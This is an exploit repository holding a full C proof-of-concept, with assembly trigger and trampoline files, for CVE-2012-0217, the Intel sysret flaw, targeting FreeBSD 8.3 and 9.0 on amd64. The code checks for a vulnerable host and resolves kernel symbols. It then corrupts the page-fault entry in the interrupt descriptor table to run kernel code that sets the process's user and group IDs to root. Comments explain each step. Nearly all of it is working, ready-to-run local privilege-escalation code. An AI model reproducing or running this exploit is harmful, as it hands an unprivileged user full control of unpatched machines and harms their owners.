├── README.md └── stash └── CVE-2012-0217-sysret ├── CVE-2012-0217-sysret_FreeBSD.c ├── trampolinecode_FreeBSD.asm └── trigger_FreeBSD.asm /README.md: -------------------------------------------------------------------------------- 1 | exploits 2 | ======== 3 | 4 | various exploits -------------------------------------------------------------------------------- /stash/CVE-2012-0217-sysret/CVE-2012-0217-sysret_FreeBSD.c: -------------------------------------------------------------------------------- 1 | // CVE-2012-0217 Intel sysret exploit -- iZsh (izsh at fail0verflow.com) 2 | // Copyright 2012 all right reserved, not for commercial uses, bitches 3 | // Infringement Punishment: Monkeys coming out of your ass Bruce Almighty style. 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #define _WANT_UCRED 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | uintptr_t Xofl_ptr, Xbnd_ptr, Xill_ptr, Xdna_ptr, Xpage_ptr, Xfpu_ptr, Xalign_ptr, Xmchk_ptr, Xxmm_ptr; 19 | 20 | struct gate_descriptor * sidt() 21 | { 22 | struct region_descriptor idt; 23 | 24 | asm ("sidt %0": "=m"(idt)); 25 | 26 | return (struct gate_descriptor*)idt.rd_base; 27 | } 28 | 29 | u_long get_symaddr(char *symname) 30 | { 31 | struct kld_sym_lookup ksym; 32 | 33 | ksym.version = sizeof (ksym); 34 | ksym.symname = symname; 35 | 36 | if (kldsym(0, KLDSYM_LOOKUP, &ksym) < 0) { 37 | perror("kldsym"); 38 | exit(1); 39 | } 40 | printf(" [+] Resolved %s to %#lx\n", ksym.symname, ksym.symvalue); 41 | return ksym.symvalue; 42 | } 43 | 44 | // Code taken from amd64/amd64/machdep.c 45 | void setidt(struct gate_descriptor *idt, int idx, uintptr_t func, int typ, int dpl, int ist) 46 | { 47 | struct gate_descriptor *ip; 48 | 49 | ip = idt + idx; 50 | ip->gd_looffset = func; 51 | ip->gd_selector = GSEL(GCODE_SEL, SEL_KPL); 52 | ip->gd_ist = ist; 53 | ip->gd_xx = 0; 54 | ip->gd_type = typ; 55 | ip->gd_dpl = dpl; 56 | ip->gd_p = 1; 57 | ip->gd_hioffset = func>>16; 58 | } 59 | 60 | void shellcode() 61 | { 62 | // Actually we dont really need to spawn a shell since we 63 | // changed our whole cred struct. 64 | // Just exit... 65 | printf("[*] Got root!\n"); 66 | exit(0); 67 | } 68 | 69 | void kernelmodepayload() 70 | { 71 | struct thread *td; 72 | struct ucred *cred; 73 | 74 | // We need to restore/recover whatever we smashed 75 | // We inititalized rsp to idt[14] + 10*8, i.e. idt[19] (see trigger()) 76 | // The #GP exception frame writes 6*64bit registers, i.e. it overwrites 77 | // idt[18], idt[17] and idt[16] 78 | // thus overall we have: 79 | // - idt[18], idt[17] and idt[16] are trashed 80 | // - tf_addr -> overwrites the 64bit-LSB of idt[15] 81 | // - tf_trapno -> overwrites Target Offset[63:32] of idt[14] 82 | // - rdi -> overwrites the 64bit-LSB of idt[7] 83 | // - #PF exception frame overwrites idt[6], idt[5] and idt[4] 84 | struct gate_descriptor *idt = sidt(); 85 | setidt(idt, IDT_OF, Xofl_ptr, SDT_SYSIGT, SEL_KPL, 0); // 4 86 | setidt(idt, IDT_BR, Xbnd_ptr, SDT_SYSIGT, SEL_KPL, 0); // 5 87 | setidt(idt, IDT_UD, Xill_ptr, SDT_SYSIGT, SEL_KPL, 0); // 6 88 | setidt(idt, IDT_NM, Xdna_ptr, SDT_SYSIGT, SEL_KPL, 0); // 7 89 | setidt(idt, IDT_PF, Xpage_ptr, SDT_SYSIGT, SEL_KPL, 0); // 14 90 | setidt(idt, IDT_MF, Xfpu_ptr, SDT_SYSIGT, SEL_KPL, 0); // 15 91 | setidt(idt, IDT_AC, Xalign_ptr, SDT_SYSIGT, SEL_KPL, 0); // 16 92 | setidt(idt, IDT_MC, Xmchk_ptr, SDT_SYSIGT, SEL_KPL, 0); // 17 93 | setidt(idt, IDT_XF, Xxmm_ptr, SDT_SYSIGT, SEL_KPL, 0); // 18 94 | 95 | // get the thread pointer 96 | asm ("mov %%gs:0, %0" : "=r"(td)); 97 | 98 | // The Dark Knight Rises 99 | cred = td->td_proc->p_ucred; 100 | cred->cr_uid = cred->cr_ruid = cred->cr_rgid = 0; 101 | cred->cr_groups[0] = 0; 102 | 103 | // return to user mode to spawn the shell 104 | asm ("swapgs; sysretq;" :: "c"(shellcode)); // store the shellcode addr to rcx 105 | } 106 | 107 | #define TRIGGERCODESIZE 20 108 | #define TRAMPOLINECODESIZE 18 109 | 110 | void trigger() 111 | { 112 | printf("[*] Setup...\n"); 113 | // Allocate one page just before the non-canonical address 114 | printf(" [+] Trigger code...\n"); 115 | uint64_t pagesize = getpagesize(); 116 | uint8_t * area = (uint8_t*)((1ULL << 47) - pagesize); 117 | area = mmap(area, pagesize, 118 | PROT_READ | PROT_WRITE | PROT_EXEC, 119 | MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0); 120 | if (area == MAP_FAILED) { 121 | perror("mmap (trigger)"); 122 | exit(1); 123 | } 124 | 125 | // Copy the trigger code at the end of the page 126 | // such that the syscall instruction is at its 127 | // boundary 128 | char triggercode[] = 129 | "\xb8\x18\x00\x00\x00" // mov rax, 24; #getuid 130 | "\x48\x89\xe3" // mov rbx, rsp; save the user's stack for later 131 | "\x48\xbc\xbe\xba\xfe\xca\xde\xc0\xad\xde" // mov rsp, 0xdeadc0decafebabe 132 | "\x0f\x05"; // syscall 133 | 134 | uint8_t * trigger_addr = area + pagesize - TRIGGERCODESIZE; 135 | memcpy(trigger_addr, triggercode, TRIGGERCODESIZE); 136 | 137 | // There are two outcomes given a target rsp: 138 | // - if rsp can't be written to, a double fault is triggered 139 | // (Xdblfault defined in sys/amd64/amd64/exception.S) 140 | // and the exception frame is pushed to a special stack 141 | // - otherwise a #GP is triggered 142 | // (Xprot defined in sys/amd64/amd64/exception.S) 143 | // and the exception frame is pushed to [rsp] 144 | // 145 | // In the latter case, trouble is... #GP triggers a page fault 146 | // (Xpage): 147 | // IDTVEC(prot) 148 | // subq $TF_ERR,%rsp 149 | // [1] movl $T_PROTFLT,TF_TRAPNO(%rsp) 150 | // [2] movq $0,TF_ADDR(%rsp) 151 | // [3] movq %rdi,TF_RDI(%rsp) /* free up a GP register */ 152 | // leaq doreti_iret(%rip),%rdi 153 | // cmpq %rdi,TF_RIP(%rsp) 154 | // je 1f /* kernel but with user gsbase!! */ 155 | // [4] testb $SEL_RPL_MASK,TF_CS(%rsp) /* Did we come from kernel? */ 156 | // jz 2f /* already running with kernel GS.base */ 157 | // 1: swapgs 158 | // 2: movq PCPU(CURPCB),%rdi [5] 159 | // 160 | // [4] sets the Z flag because we come from the kernel (while executing sysret) 161 | // and we therefore skip swapgs. But GS is in fact the user GS.base! Indeed 162 | // it was restored just before calling sysret... 163 | // Thus, [5] triggers a pagefault while trying to access gs:data 164 | // If we don't do anything we'll eventually doublefault, tripplefault etc. and crash 165 | // 166 | // We therefore need a way: (1) to recover from the GP, (2) to clean 167 | // any mess we did. Both could be solved if we can get get an arbitrary 168 | // code execution by the time we reach [5] (NB: this is not mandatory, we could 169 | // get the code execution later down the fault trigger chain) 170 | // 171 | // So... here is the idea: wouldn't it be nice if we could overwrite the 172 | // page fault handler's address and therefore get code execution when [5] 173 | // triggers the #PF? 174 | // 175 | // For reference: 176 | // Gate descriptor: 177 | // +0: Target Offset[15:0] | Target Selector 178 | // +4: Some stuff | Target Offset[31:16] 179 | // +8: Target Offset[63:32] 180 | // +12: Stuff 181 | // 182 | // and from include/frame.h: 183 | // struct trapframe { 184 | // register_t tf_rdi; 185 | // register_t tf_rsi; 186 | // register_t tf_rdx; 187 | // register_t tf_rcx; 188 | // register_t tf_r8; 189 | // register_t tf_r9; 190 | // register_t tf_rax; 191 | // register_t tf_rbx; 192 | // register_t tf_rbp; 193 | // register_t tf_r10; 194 | // register_t tf_r11; 195 | // register_t tf_r12; 196 | // register_t tf_r13; 197 | // register_t tf_r14; 198 | // register_t tf_r15; 199 | // uint32_t tf_trapno; 200 | // uint16_t tf_fs; 201 | // uint16_t tf_gs; 202 | // register_t tf_addr; 203 | // uint32_t tf_flags; 204 | // uint16_t tf_es; 205 | // uint16_t tf_ds; 206 | // /* below portion defined in hardware */ 207 | // register_t tf_err; 208 | // register_t tf_rip; 209 | // register_t tf_cs; 210 | // register_t tf_rflags; 211 | // register_t tf_rsp; 212 | // register_t tf_ss; 213 | // }; 214 | // 215 | // When the exception is triggered, the hardware pushes 216 | // ss, rsp, rflags, cs, rip and err 217 | // 218 | // We can see that [1], [2] and [3] write to the stack 219 | // [3] is fully user-controlled through rdi, so we could try to align 220 | // rsp such that [3] overwrites the offset address 221 | // 222 | // The trouble is... rsp is 16byte aligned for exceptions. We can 223 | // therefore only overwrite the first 32-LSB of the offset address 224 | // (check how rdi is 16byte aligned in this trapframe) 225 | // 226 | // [2] writes 0 to tf_addr which is also 16byte aligned. So no dice. 227 | // That leaves us with [1] which writes T_PROTFLT (0x9) to tf_trapno 228 | // and tf_trapno is 16byte aligned + 8! 229 | // This enables us to set Target Offset[63:32] to 0x9 230 | // 231 | // We set rsp to &idt[14] + 10 * 8 (to align tf_trapno with Offset[63:32]) 232 | *(uint64_t*)(trigger_addr + 10) = (uint64_t)(((uint8_t*)&sidt()[14]) + 10 * 8); 233 | // Hence, the #PF handler's address is now 0x9WWXXYYZZ 234 | // Furthermore, WWXXYYZZ is known since we can get (see get_symaddr()) the #PF's address 235 | // Thus, the idea is to setup a trampoline code at 0x9WWXXYYZZ which does 236 | // some setup and jump to our kernel mode code 237 | printf(" [+] Trampoline code...\n"); 238 | char trampolinecode[] = 239 | "\x0f\x01\xf8" // swapgs; switch back to the kernel's GS.base 240 | "\x48\x89\xdc" // mov rsp, rbx; restore rsp, it's enough to use the user's stack 241 | "\x48\xb8\xbe\xba\xfe\xca\xde\xc0\xad\xde" // mov rax, 0xdeadc0decafebabe 242 | "\xff\xe0"; // jmp rax 243 | 244 | uint8_t * trampoline = (uint8_t*)(0x900000000 | (Xpage_ptr & 0xFFFFFFFF)); 245 | size_t trampoline_allocsize = pagesize; 246 | // We round the address to the PAGESIZE for the allocation 247 | // Not enough space for the trampoline code ? 248 | if ((uint8_t*)((uint64_t)trampoline & ~(pagesize-1)) + pagesize < trampoline + TRAMPOLINECODESIZE) 249 | trampoline_allocsize += pagesize; 250 | if (mmap((void*)((uint64_t)trampoline & ~(pagesize-1)), trampoline_allocsize, 251 | PROT_READ | PROT_WRITE | PROT_EXEC, 252 | MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0) == MAP_FAILED) 253 | { 254 | perror("mmap (trampoline)"); 255 | exit(1); 256 | } 257 | memcpy(trampoline, trampolinecode, TRAMPOLINECODESIZE); 258 | *(uint64_t*)(trampoline + 8) = (uint64_t)kernelmodepayload; 259 | // Call it 260 | printf("[*] Fire in the hole!\n"); 261 | ((void (*)())trigger_addr)(); 262 | } 263 | 264 | typedef struct validtarget 265 | { 266 | char * sysname; 267 | char * release; 268 | char * machine; 269 | } validtarget_t; 270 | 271 | int validate_target(char * sysname, char * release, char * machine) 272 | { 273 | validtarget_t targets[] = { 274 | { "FreeBSD", "8.3-RELEASE", "amd64" }, 275 | { "FreeBSD", "9.0-RELEASE", "amd64" }, 276 | { 0, 0, 0 } 277 | }; 278 | 279 | int found = 0; 280 | int i = 0; 281 | 282 | while (!found && targets[i].sysname) { 283 | found = !strcmp(targets[i].sysname, sysname) 284 | && !strcmp(targets[i].release, release) 285 | && !strcmp(targets[i].machine, machine); 286 | ++i; 287 | } 288 | return found; 289 | } 290 | 291 | void get_cpu_vendor(char * cpu_vendor) 292 | { 293 | u_int regs[4]; 294 | 295 | do_cpuid(0, regs); 296 | ((u_int *)cpu_vendor)[0] = regs[1]; 297 | ((u_int *)cpu_vendor)[1] = regs[3]; 298 | ((u_int *)cpu_vendor)[2] = regs[2]; 299 | cpu_vendor[12] = '\0'; 300 | } 301 | 302 | int is_intel() 303 | { 304 | char cpu_vendor[13]; 305 | 306 | get_cpu_vendor(cpu_vendor); 307 | return !strcmp(cpu_vendor, "GenuineIntel"); 308 | } 309 | 310 | int main(int argc, char *argv[]) 311 | { 312 | printf("CVE-2012-0217 Intel sysret exploit -- iZsh (izsh at fail0verflow.com)\n\n"); 313 | 314 | printf("[*] Retrieving host information...\n"); 315 | char cpu_vendor[13]; 316 | get_cpu_vendor(cpu_vendor); 317 | struct utsname ver; 318 | uname(&ver); 319 | printf(" [+] CPU: %s\n", cpu_vendor); 320 | printf(" [+] sysname: %s\n", ver.sysname); 321 | printf(" [+] release: %s\n", ver.release); 322 | printf(" [+] version: %s\n", ver.version); 323 | printf(" [+] machine: %s\n", ver.machine); 324 | printf("[*] Validating target OS and version...\n"); 325 | if (!is_intel() || !validate_target(ver.sysname, ver.release, ver.machine)) { 326 | printf(" [+] NOT Vulnerable :-(\n"); 327 | exit(1); 328 | } else 329 | printf(" [+] Vulnerable :-)\n"); 330 | // Prepare the values we'll need to restore the kernel to a stable state 331 | printf("[*] Resolving kernel addresses...\n"); 332 | Xofl_ptr = (uintptr_t)get_symaddr("Xofl"); 333 | Xbnd_ptr = (uintptr_t)get_symaddr("Xbnd"); 334 | Xill_ptr = (uintptr_t)get_symaddr("Xill"); 335 | Xdna_ptr = (uintptr_t)get_symaddr("Xdna"); 336 | Xpage_ptr = (uintptr_t)get_symaddr("Xpage"); 337 | Xfpu_ptr = (uintptr_t)get_symaddr("Xfpu"); 338 | Xalign_ptr = (uintptr_t)get_symaddr("Xalign"); 339 | Xmchk_ptr = (uintptr_t)get_symaddr("Xmchk"); 340 | Xxmm_ptr = (uintptr_t)get_symaddr("Xxmm"); 341 | // doeet! 342 | trigger(); 343 | return 0; 344 | } 345 | 346 | -------------------------------------------------------------------------------- /stash/CVE-2012-0217-sysret/trampolinecode_FreeBSD.asm: -------------------------------------------------------------------------------- 1 | BITS 64 2 | 3 | swapgs 4 | mov rsp, rbx 5 | mov rax, 0xdeadc0decafebabe 6 | jmp rax 7 | -------------------------------------------------------------------------------- /stash/CVE-2012-0217-sysret/trigger_FreeBSD.asm: -------------------------------------------------------------------------------- 1 | BITS 64 2 | 3 | mov rax, 24; getuid 4 | mov rbx, rsp 5 | mov rsp, 0xdeadc0decafebabe 6 | syscall 7 | --------------------------------------------------------------------------------